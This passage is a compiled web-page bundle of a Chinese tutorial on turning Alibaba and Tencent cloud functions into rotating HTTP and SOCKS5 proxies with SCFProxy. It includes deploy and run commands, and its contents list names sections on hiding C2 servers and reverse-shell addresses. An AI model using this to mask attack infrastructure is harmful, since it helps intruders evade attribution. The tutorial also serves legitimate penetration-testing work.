u505a\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/02.\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"},"next":{"title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b"}}');var r=s(74848),l=s(28453);const c={},d="\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406",t={},h=[{value:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",id:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",level:2},{value:"\u57fa\u4e8e\u7684\u5de5\u5177",id:"\u57fa\u4e8e\u7684\u5de5\u5177",level:2},{value:"HTTP \u4ee3\u7406",id:"http-\u4ee3\u7406",level:2},{value:"\u539f\u7406\u548c\u5b9e\u73b0",id:"\u539f\u7406\u548c\u5b9e\u73b0",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72",level:3},{value:"\u8fd0\u884c",id:"\u8fd0\u884c",level:3},{value:"\u6e05\u7406",id:"\u6e05\u7406",level:3},{value:"\u4f8b\u5b50",id:"\u4f8b\u5b50",level:3},{value:"\u83b7\u53d6key",id:"\u83b7\u53d6key",level:4},{value:"\u9996\u6b21\u8fd0\u884c",id:"\u9996\u6b21\u8fd0\u884c",level:4},{value:"\u90e8\u7f72 http api",id:"\u90e8\u7f72-http-api",level:4},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-1",level:4},{value:"\u5b89\u88c5\u8bc1\u4e66",id:"\u5b89\u88c5\u8bc1\u4e66",level:4},{value:"\u9a8c\u8bc1",id:"\u9a8c\u8bc1",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-1",level:4},{value:"SOCKS5 \u4ee3\u7406",id:"socks5-\u4ee3\u7406",level:2},{value:"\u539f\u7406\u548c\u5b9e\u73b0",id:"\u539f\u7406\u548c\u5b9e\u73b0-1",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72-1",level:3},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-2",level:3},{value:"\u6e05\u7406",id:"\u6e05\u7406-2",level:3},{value:"\u4f8b\u5b50",id:"\u4f8b\u5b50-1",level:3},{value:"\u83b7\u53d6key",id:"\u83b7\u53d6key-1",level:4},{value:"\u9996\u6b21\u8fd0\u884c",id:"\u9996\u6b21\u8fd0\u884c-1",level:4},{value:"\u90e8\u7f72 socks api",id:"\u90e8\u7f72-socks-api",level:4},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-3",level:4},{value:"\u5b89\u88c5\u8bc1\u4e66",id:"\u5b89\u88c5\u8bc1\u4e66-1",level:4},{value:"\u9a8c\u8bc1",id:"\u9a8c\u8bc1-1",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-3",level:4},{value:"\u53cd\u5411\u4ee3\u7406",id:"\u53cd\u5411\u4ee3\u7406",level:2},{value:"\u90e8\u7f72",id:"\u90e8\u7f72-2",level:3},{value:"\u4f7f\u7528\u573a\u666f",id:"\u4f7f\u7528\u573a\u666f",level:3},{value:"C2 \u9690\u85cf",id:"c2-\u9690\u85cf",level:4},{value:"\u53cd\u5f39 shell \u5730\u5740\u9690\u85cf",id:"\u53cd\u5f39-shell-\u5730\u5740\u9690\u85cf",level:4},{value:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",id:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-4",level:3},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function a(e){const i={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(i.table,{children:[(0,r.jsx)(i.thead,{children:(0,r.jsxs)(i.tr,{children:[(0,r.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(i.tbody,{children:(0,r.jsxs)(i.tr,{children:[(0,r.jsx)(i.td,{style:{textAlign:"left"},children:(0,r.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(i.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,r.jsx)(i.header,{children:(0,r.jsx)(i.h1,{id:"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406",children:"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"})}),"\n",(0,r.jsx)(i.h2,{id:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",children:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570"}),"\n",(0,r.jsx)(i.p,{children:"\u4e91\u51fd\u6570 (Serverless Cloud Function\uff0cSCF) \u662f\u817e\u8baf\u4e91\u4e3a\u4f01\u4e1a\u548c\u5f00\u53d1\u8005\u4eec\u63d0\u4f9b\u7684\u65e0\u670d\u52a1\u5668\u6267\u884c\u73af\u5883\u3002\u65e0\u670d\u52a1\u5668\u5e76\u975e\u771f\u7684\u6ca1\u6709\u670d\u52a1\u5668\uff0c\u800c\u662f\u8bf4\u7528\u6237\u65e0\u9700\u8d2d\u4e70\u670d\u52a1\u5668\uff0c\u65e0\u9700\u5173\u5fc3\u670d\u52a1\u5668 CPU\u3001\u5185\u5b58\u3001\u7f51\u7edc\u914d\u7f6e\u3001\u8d44\u6e90\u7ef4\u62a4\u3001\u4ee3\u7801\u90e8\u7f72\u3001\u5f39\u6027\u4f38\u7f29\u3001\u8d1f\u8f7d\u5747\u8861\u3001\u5b89\u5168\u5347\u7ea7\u3001\u8d44\u6e90\u8fd0\u884c\u60c5\u51b5\u76d1\u63a7\u7b49\uff0c\u4e5f\u5c31\u662f\u8bf4\u4e0d\u7528\u4e13\u95e8\u5b89\u6392\u4eba\u529b \u505a\u8fd9\u4e9b\uff0c\u53ea\u9700\u4e13\u6ce8\u4e8e\u4ee3\u7801\u7f16\u5199\u5e76\u4e0a\u4f20\u5373\u53ef\u3002\u5f88\u5927\u7a0b\u5ea6\u4e0a\u964d\u4f4e\u4e86\u7814\u53d1\u95e8\u69db\uff0c\u63d0\u5347\u4e1a\u52a1\u6784\u5efa\u6548\u7387"}),"\n",(0,r.jsx)(i.h2,{id:"\u57fa\u4e8e\u7684\u5de5\u5177",children:"\u57fa\u4e8e\u7684\u5de5\u5177"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy",children:"SCFProxy\u9879\u76ee"})}),"\n"]}),"\n",(0,r.jsx)(i.h2,{id:"http-\u4ee3\u7406",children:"HTTP \u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u539f\u7406\u548c\u5b9e\u73b0",children:"\u539f\u7406\u548c\u5b9e\u73b0"}),"\n",(0,r.jsx)(i.p,{children:"\u8fd9\u662f\u6700\u4e3a\u7b80\u5355\u7684\u5229\u7528\u65b9\u5f0f\u3002\u4e3b\u8981\u539f\u7406\u5728\u4e8e\uff1a"}),"\n",(0,r.jsxs)(i.ol,{children:["\n",(0,r.jsxs)(i.li,{children:["\u4e91\u51fd\u6570\u53ef\u5229\u7528 ",(0,r.jsx)(i.a,{href:"https://cloud.tencent.com/document/product/583/9705",children:"API \u7f51\u5173\u89e6\u53d1\u5668"}),"\u8fdb\u884c\u89e6\u53d1\uff0c\u63a5\u53d7\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u6570\u636e"]}),"\n",(0,r.jsx)(i.li,{children:"\u53ef\u4ee5\u5bf9\u5916\u53d1\u5305\uff0c\u7c7b\u4f3c\u4e8e\u4e00\u4e2a SSRF"}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:"\u56e0\u6b64\u4e00\u4e2a HTTP Proxy \u7684\u5b9e\u73b0\u601d\u8def\u5c31\u5f88\u7b80\u5355\u4e86\u3002\u5ba2\u6237\u7aef\u6302\u4e0a\u4ee3\u7406\u53d1\u9001\u6570\u636e\u5305\uff0cHTTP \u4ee3\u7406\u670d\u52a1\u5668\u62e6\u622a\u6570\u636e\u5305\uff0c\u63d0\u53d6 HTTP \u62a5\u6587\u76f8\u5173\u4fe1\u606f\uff0c\u7136\u540e\u5c06\u62a5\u6587\u4ee5\u67d0\u79cd\u5f62\u5f0f POST \u5230\u4e91\u51fd\u6570\u8fdb\u884c\u89e3\u6790\uff0c\u4e91\u51fd\u6570\u6839\u636e\u89e3\u6790\u5230\u7684\u4fe1\u606f\u5bf9\u76ee\u6807\u53d1\u8d77\u8bf7\u6c42\uff0c\u6700\u7ec8\u5c06\u7ed3\u679c\u4e00\u5c42\u4e00\u5c42\u8fd4\u56de\u3002"}),"\n",(0,r.jsx)(i.p,{children:"\u6d41\u7a0b\u5982\u56fe\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223141456899",src:s(84978).A+"",width:"186",height:"474"})}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy http -p provider_list -r region_list\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"provider_list"})," \u4e0e ",(0,r.jsx)(i.code,{children:"region_list"})," \u4f20\u5165\u7684\u53c2\u6570\u5217\u8868\u4ee5 ",(0,r.jsx)(i.code,{children:","})," \u5206\u9694\u3002"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"region_list"})," \u652f\u6301\u5982\u4e0b 4 \u79cd\u5f62\u5f0f\uff08\u5728\u6240\u6709 ",(0,r.jsx)(i.code,{children:"deploy"})," \u53ca ",(0,r.jsx)(i.code,{children:"clear"})," \u547d\u4ee4\u4e0a\u90fd\u652f\u6301\uff09"]}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"*"})," \u8868\u793a\u6240\u6709\u533a\u57df"]}),"\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"area-*"})," \u8868\u793a\u8be5 area \u533a\u57df\u652f\u6301\u7684\u6240\u6709\u5730\u533a"]}),"\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"are-num"})," \u8868\u793a\u8be5 area \u533a\u57df\u652f\u6301\u7684\u524d ",(0,r.jsx)(i.code,{children:"num"})," \u4e2a\u5730\u533a(\u4ee3\u7801\u786c\u7f16\u7801\u987a\u5e8f\u8fd4\u56de)"]}),"\n",(0,r.jsx)(i.li,{children:"\u6807\u51c6\u5f62\u5f0f\uff0c\u5373\u4e91\u5382\u5546\u6240\u63d0\u4f9b\u7684\u6807\u51c6 region \u5f62\u5f0f"}),"\n"]}),"\n",(0,r.jsxs)(i.p,{children:["\u5bf9\u4e8e\u63d0\u4f9b\u591a\u4e2a ",(0,r.jsx)(i.code,{children:"provider"})," \u7684\u60c5\u51b5\u4e0b\uff0c\u5c06\u5bf9\u6bcf\u4e2a ",(0,r.jsx)(i.code,{children:"provider"})," \u8fdb\u884c\u4e0a\u8ff0 ",(0,r.jsx)(i.code,{children:"region"})," \u5f62\u5f0f\u7684\u89e3\u6790\u4e0e\u67e5\u627e\uff0c\u4e0d\u5b58\u5728\u7684 ",(0,r.jsx)(i.code,{children:"region"})," \u5c06\u88ab\u5ffd\u7565"]}),"\n",(0,r.jsx)(i.p,{children:"\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u901a\u8fc7 ",(0,r.jsx)(i.code,{children:"scfproxy list -p alibaba,tencent"})," \u53ef\u4ee5\u67e5\u770b\u5230\u6240\u6709\u7684 region\uff0c\u4e0a\u9762\u8fd9\u6761\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u4e3a"]}),"\n",(0,r.jsxs)(i.ol,{children:["\n",(0,r.jsxs)(i.li,{children:["\u5728 ",(0,r.jsx)(i.code,{children:"alibaba"})," \u4e0a\u90e8\u7f72 ",(0,r.jsx)(i.code,{children:"ap-northeast-1"}),", ",(0,r.jsx)(i.code,{children:"eu-central-1"}),", ",(0,r.jsx)(i.code,{children:" eu-west-1"}),", ",(0,r.jsx)(i.code,{children:"cn-shanghai"})," \u533a\u57df\u7684 http \u4ee3\u7406"]}),"\n",(0,r.jsxs)(i.li,{children:["\u5728 ",(0,r.jsx)(i.code,{children:"tencent"})," \u4e0a\u90e8\u7f72 ",(0,r.jsx)(i.code,{children:"ap-beijing"})," \u533a\u57df\u7684 http \u4ee3\u7406"]}),"\n"]}),"\n",(0,r.jsx)(i.h3,{id:"\u8fd0\u884c",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy http -l port [-c cert_path] [-k key_path]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u9996\u6b21\u8fd0\u884c\u4f1a\u5728 ",(0,r.jsx)(i.code,{children:"~/.confg/scfproxy/cert"})," \u76ee\u5f55\u751f\u6210 ",(0,r.jsx)(i.code,{children:"scfproxy.cer"})," \u53ca ",(0,r.jsx)(i.code,{children:"scfproxy.key"})," \u8bc1\u4e66\uff0c\u9700\u8981\u5c06\u5176\u5bfc\u5165\u7cfb\u7edf\u8bc1\u4e66\u5e76\u4fe1\u4efb\u624d\u53ef\u4ee5\u4ee3\u7406 https \u8bf7\u6c42\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear http -p provider_list -r region_list [--completely]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u6e05\u7406\u529f\u80fd\u9ed8\u8ba4\u53ea\u4f1a\u5220\u9664\u89e6\u53d1\u5668\uff0c\u5982\u9700\u540c\u65f6\u5220\u9664\u51fd\u6570\uff0c\u9700\u6dfb\u52a0 ",(0,r.jsx)(i.code,{children:"-e/--completely"})," \u53c2\u6570"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f8b\u5b50",children:"\u4f8b\u5b50"}),"\n",(0,r.jsxs)(i.blockquote,{children:["\n",(0,r.jsx)(i.p,{children:"\u672c\u6b21\u6848\u4f8b\u4f7f\u7528\u7684\u662f\u963f\u91cc\u4e91"}),"\n"]}),"\n",(0,r.jsx)(i.h4,{id:"\u83b7\u53d6key",children:"\u83b7\u53d6key"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://ram.console.aliyun.com/manage/ak",children:"\u963f\u91cc\u4e91\u83b7\u53d6key"})}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223134859998",src:s(87079).A+"",width:"1840",height:"545"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9996\u6b21\u8fd0\u884c",children:"\u9996\u6b21\u8fd0\u884c"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6e \u4e91\u7684key\uff0c\u8fd9\u91cc\u6f14\u793a\u7684\u662f\u963f\u91cc\u4e91"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"scfproxy && vim /root/.config/scfproxy/sdk.toml\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221832761",src:s(37740).A+"",width:"1017",height:"394"})}),"\n",(0,r.jsx)(i.h4,{id:"\u90e8\u7f72-http-api",children:"\u90e8\u7f72 http api"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy deploy http -p alibaba -r eu-*\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221636085",src:s(84827).A+"",width:"805",height:"100"})}),"\n",(0,r.jsx)(i.p,{children:"\u67e5\u770b\u90e8\u7f72\u662f\u5426\u6210\u529f"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy list http\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221709180",src:s(35034).A+"",width:"859",height:"157"})}),"\n",(0,r.jsx)(i.h4,{id:"\u8fd0\u884c-1",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy http -l 0.0.0.0:1234\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222222024780",src:s(68891).A+"",width:"650",height:"88"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.strong,{children:"\u6ce8\u610f\uff1a\u82e5\u6709\u81ea\u5df1\u5e38\u7528\u7684\u8bc1\u4e66\u53ef\u4ee5\u6307\u5b9a\u8bc1\u4e66\u8def\u5f84"})}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222223511647",src:s(50071).A+"",width:"1297",height:"51"})}),"\n",(0,r.jsx)(i.h4,{id:"\u5b89\u88c5\u8bc1\u4e66",children:"\u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:"\u53cc\u51fb\u8bc1\u4e66 -> \u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135148342",src:s(96152).A+"",width:"479",height:"671"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9a8c\u8bc1",children:"\u9a8c\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6eSwitchyOmega"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140912091",src:s(1020).A+"",width:"1524",height:"672"})}),"\n",(0,r.jsxs)(i.p,{children:["\u8bbf\u95ee ",(0,r.jsx)(i.a,{href:"https://ifconfig.me/",children:"https://ifconfig.me/"})]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135852257",src:s(9583).A+"",width:"1197",height:"861"})}),"\n",(0,r.jsx)(i.h4,{id:"\u6e05\u7406-1",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy list http\n./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely\n./scfproxy list http\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140334555",src:s(40291).A+"",width:"1096",height:"365"})}),"\n",(0,r.jsx)(i.h2,{id:"socks5-\u4ee3\u7406",children:"SOCKS5 \u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u539f\u7406\u548c\u5b9e\u73b0-1",children:"\u539f\u7406\u548c\u5b9e\u73b0"}),"\n",(0,r.jsx)(i.p,{children:"\u6b63\u5e38 SOCKS5 \u4ee3\u7406\u8bf7\u6c42\u7684\u6d41\u7a0b\u4e3a\u670d\u52a1\u7aef\u76d1\u542c\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u4e8b\u4ef6\uff0c\u6bcf\u5f53\u5ba2\u6237\u7aef\u53d1\u8d77\u4e00\u4e2a\u65b0\u7684\u8fde\u63a5\uff0c\u670d\u52a1\u7aef\u751f\u6210\u4e00\u4e2a socket A\uff0c\u5e76\u4ece\u6570\u636e\u5305\u4e2d\u89e3\u6790\u51fa\u76ee\u6807\u670d\u52a1\u5668\u7684\u5730\u5740\u548c\u7aef\u53e3\uff0c\u5728\u672c\u5730\u5bf9\u76ee\u6807\u53d1\u8d77\u4e00\u4e2a socket \u8fde\u63a5 B\uff0c\u540c\u6b65\u4e24\u4e2a socket \u7684 IO \u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(i.p,{children:"SOCKS5\u4e3b\u8981\u5206\u4e3a\u4e0b\u97623\u4e2a\u6b65\u9aa4\uff1a"}),"\n",(0,r.jsx)(i.p,{children:"1.\u8ba4\u8bc1\uff1a\u5bf9\u5ba2\u6237\u7aef\u53d1\u8d77\u7684\u8fde\u63a5\u8fdb\u884c\u8ba4\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"2.\u5efa\u7acb\u8fde\u63a5\uff1a\u4ece\u5ba2\u6237\u7aef\u53d1\u8d77\u7684\u8fde\u63a5\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u83b7\u5f97\u76ee\u6807\u670d\u52a1\u5668\u5730\u5740\uff0c\u5e76\u5efa\u7acb\u8fde\u63a5"}),"\n",(0,r.jsx)(i.p,{children:"3.\u8f6c\u53d1\u6570\u636e\uff1a\u5206\u522b\u5c06\u6765\u81ea\u5ba2\u6237\u7aef\u3001\u670d\u52a1\u5668\u7684\u6570\u636e\u8f6c\u53d1\u7ed9\u5bf9\u65b9"}),"\n",(0,r.jsx)(i.p,{children:"\u4f7f\u7528\u4e91\u51fd\u6570\u5efa\u7acb\u8fde\u63a5\u7684\u65b9\u5f0f\uff0c\u6211\u4eec\u9700\u8981\u7684\u4e0d\u518d\u662f\u5bf9\u5916\u4e3b\u52a8\u53d1\u8d77\u8fde\u63a5\uff0c\u800c\u662f\u76d1\u542c\u4e00\u4e2a\u7aef\u53e3\uff0c\u7b49\u5f85\u4e91\u51fd\u6570\u53d1 \u8d77\u8fde\u63a5\uff0c\u4e3a\u4e86\u8ba9\u4e91\u51fd\u6570\u53d1\u8d77\u8fde\u63a5\uff0c\u6211\u4eec\u9700\u8981\u4e3b\u52a8\u5bf9\u4e91\u51fd\u6570\u7684API\u7f51\u5173\u53d1\u8d77\u8bf7\u6c42\uff0c\u89e6\u53d1\u4e91\u51fd\u6570\u7684\u6267\u884c\uff0c\u5e76\u5c06 \u76ee\u6807\u670d\u52a1\u5668\u4fe1\u606f\u9644\u5728POST\u6570\u636e\u5305\u4e2d\u3002\u76f8\u5173\u7684\u6d41\u7a0b\u56fe\u5982\u4e0b"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"img",src:s(62660).A+"",width:"551",height:"524"})}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72-1",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-a address"})," \u7528\u4e8e\u6307\u5b9a\u4e91\u51fd\u6570\u56de\u8fde\u7684 vps \u5730\u5740"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-k key"})," \u7528\u4e8e\u8fde\u63a5\u540e\u8fdb\u884c\u9a8c\u8bc1"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"--auth [user:pass]"})," \u7528\u4e8e\u6307\u5b9a socks \u8ba4\u8bc1\u4fe1\u606f\uff0c\u9ed8\u8ba4\u65e0\u8ba4\u8bc1"]}),"\n",(0,r.jsx)(i.h3,{id:"\u8fd0\u884c-2",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy socks -l socks_port -s scf_port -k key\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-l socks_port"})," \u76d1\u542c socks_port\uff0c\u7b49\u5f85\u7528\u6237\u7684 socks5 \u8fde\u63a5"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-s scf_port"})," \u76d1\u542c scf_port\uff0c\u7b49\u5f85\u6765\u81ea\u4e91\u51fd\u6570\u7684\u8fde\u63a5\uff0c\u9700\u8981\u90e8\u7f72\u547d\u4ee4\u4e2d ",(0,r.jsx)(i.code,{children:"address"})," \u53c2\u6570\u7684\u7aef\u53e3\u4e00\u81f4"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-k key"})," \u7528\u4e8e\u9a8c\u8bc1\uff0c\u9700\u4e0e\u90e8\u7f72\u547d\u4ee4\u4e2d\u7684 ",(0,r.jsx)(i.code,{children:"key"})," \u5bf9\u5e94"]}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406-2",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear socks -p provider_list -r region_list [--completely]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u56e0\u4e3a ",(0,r.jsx)(i.code,{children:"socks"})," \u4ee3\u7406\u521b\u5efa\u7684\u4e3a 1m \u7684\u5b9a\u65f6\u89e6\u53d1\u5668\uff0c\u4e14\u51fd\u6570\u8d85\u65f6\u65f6\u95f4\u8f83\u957f\u4e3a\u907f\u514d\u4e0d\u5fc5\u8981\u7684\u6d6a\u8d39\uff0c\u5efa\u8bae\u5728\u76d1\u542c\u5230\u6765\u81ea\u4e91\u51fd\u6570\u7684\u8fde\u63a5\u540e\u6e05\u7406\u89e6\u53d1\u5668\uff0c\u5728\u4f7f\u7528\u5b8c\u6bd5\u540e\u4f7f\u7528 ",(0,r.jsx)(i.code,{children:"-e"})," \u53c2\u6570\u5f7b\u5e95\u6e05\u7406\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f8b\u5b50-1",children:"\u4f8b\u5b50"}),"\n",(0,r.jsx)(i.h4,{id:"\u83b7\u53d6key-1",children:"\u83b7\u53d6key"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://ram.console.aliyun.com/manage/ak",children:"\u963f\u91cc\u4e91\u83b7\u53d6key"})}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223134859998",src:s(87079).A+"",width:"1840",height:"545"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9996\u6b21\u8fd0\u884c-1",children:"\u9996\u6b21\u8fd0\u884c"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6e \u4e91\u7684key\uff0c\u8fd9\u91cc\u6f14\u793a\u7684\u662f\u963f\u91cc\u4e91"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"scfproxy && vim /root/.config/scfproxy/sdk.toml\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221832761",src:s(37740).A+"",width:"1017",height:"394"})}),"\n",(0,r.jsx)(i.h4,{id:"\u90e8\u7f72-socks-api",children:"\u90e8\u7f72 socks api"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"# \u6709\u70b9\u6162\uff0c\u8010\u5fc3\u7b49\u4e00\u5206\u949f\n./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225408223",src:s(43894).A+"",width:"1017",height:"107"})}),"\n",(0,r.jsx)(i.p,{children:"\u9a8c\u8bc1\u662f\u5426\u521b\u5efa\u6210\u529f"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy list socks\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{src:s(87339).A+"",width:"617",height:"121"})}),"\n",(0,r.jsx)(i.h4,{id:"\u8fd0\u884c-3",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy socks -l 1234 -s 12345 -k 